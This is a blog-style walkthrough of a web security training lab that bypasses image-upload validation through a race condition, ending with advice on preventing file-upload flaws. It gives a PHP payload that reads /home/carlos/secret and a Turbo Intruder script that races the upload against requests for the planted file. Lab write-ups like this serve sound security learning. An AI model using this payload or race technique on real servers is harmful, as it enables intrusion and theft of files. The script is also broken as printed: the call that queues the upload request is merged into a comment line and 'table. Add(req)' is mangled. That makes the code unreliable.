Web Shell Upload via Race Condition

Kaustubh Mhapankar
5 min readSep 1, 2022

--

Lab: EXPERT

In this lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.

— — 👣 Quick Steps to Complete this Lab 👣 — —

#Open burp suite and configure the burp proxy with your preferred browser and follow this steps:

Step 1. You can log in to your own account using the following credentials: wiener:peter

Step 1. Login

Step 2. Click on browser and select any image to upload. Here we are uploading “wallpaper.png”.

Step 2. Upload normal image

Step 3. Observe the response, “wallpaper.png” was successfully uploaded, then click on “Back to My Account”.

Step 3. Observe the response

Step 4. Try uploading Exploit in php file.

#Paste the following payload in exploit.php file.

<?php echo file_get_contents(‘/home/carlos/secret’); ?>

Step 4. Try to upload exploit

Step 5. Observe the response, “exploit.php” was not uploaded successfully as the there is validation on the server, then click on “Back to My Account”.

Step 5. Observe filters are set

Step 6. In burp go to Extender > bApp Store > search for Turbo Intruder in the like and click on install.

Step 6. Install Turbo Intruder

Step 7. In burp, when “exploit.php” was being uploaded “POST /my-account/avatar” request was made. We can find that request in Proxy > HTTP history. Send that request to turbo intruder

#In new burp suit version there will be Extender > Send to turbo intruder.

Step 7. Initiate configuring script

Step 8. There will be some content in Turbo Intruder’s Python editor, delete that and paste following script in the editor.

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

request1 = '''<YOUR-POST-REQUEST>'''

request2 = '''<YOUR-GET-REQUEST>'''

# the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1')

for x in range(5):

engine.queue(request2, gate='race1')

# wait until every 'race1' tagged request is ready

# then send the final byte of each request

# (this method is non-blocking, just like queue)

engine.openGate('race1')

engine.complete(timeout=60)

def handleResponse(req, interesting):

table. Add(req)

Step 8. Paste the script

Step 9. In the script, replace <YOUR-POST-REQUEST> with the entire POST /my-account/avatar request containing your exploit.php file.

Step 9-a. Copy POST /my-account/avatar request
Step 9-b. Paste the request in script

Step 10. Replace <YOUR-GET-REQUEST> with a GET request for fetching your uploaded PHP file. The simplest way to do this is to copy the GET /files/avatars/wallpaper.png request from your proxy history.

Step 10-a. Copy GET /files/avatars/wallpaper.png request
Step 10-b. Paste the request in script

Step 11. Then change the filename “wallpaper.png” to “exploit.php” and add \r\n\r\n in end of the GET request. Click on Attack.

Step 11. Change filename

Step 12. Ensure that status of response is 200. Select that line and observe the flag in the response.

Step 12. 200 response and flag

Step 13. Copy the flag and paste it in the Submit solution Answer input field and click ok.

Step 13. Submit the flag
Congratulation 🥳

How to prevent file upload vulnerabilities

Allowing users to upload files is commonplace and doesn’t have to be dangerous as long as you take the right precautions. In general, the most effective way to protect your own websites from these vulnerabilities is to implement all of the following practices:

Check the file extension against a whitelist of permitted extensions rather than a blacklist of prohibited ones. It’s much easier to guess which extensions you might want to allow than it is to guess which ones an attacker might try to upload.

Make sure the filename doesn’t contain any substrings that may be interpreted as a directory or a traversal sequence (../).

Rename uploaded files to avoid collisions that may cause existing files to be overwritten.

Do not upload files to the server’s permanent filesystem until they have been fully validated.

As much as possible, use an established framework for preprocessing file uploads rather than attempting to write your own validation mechanisms.

References

--

--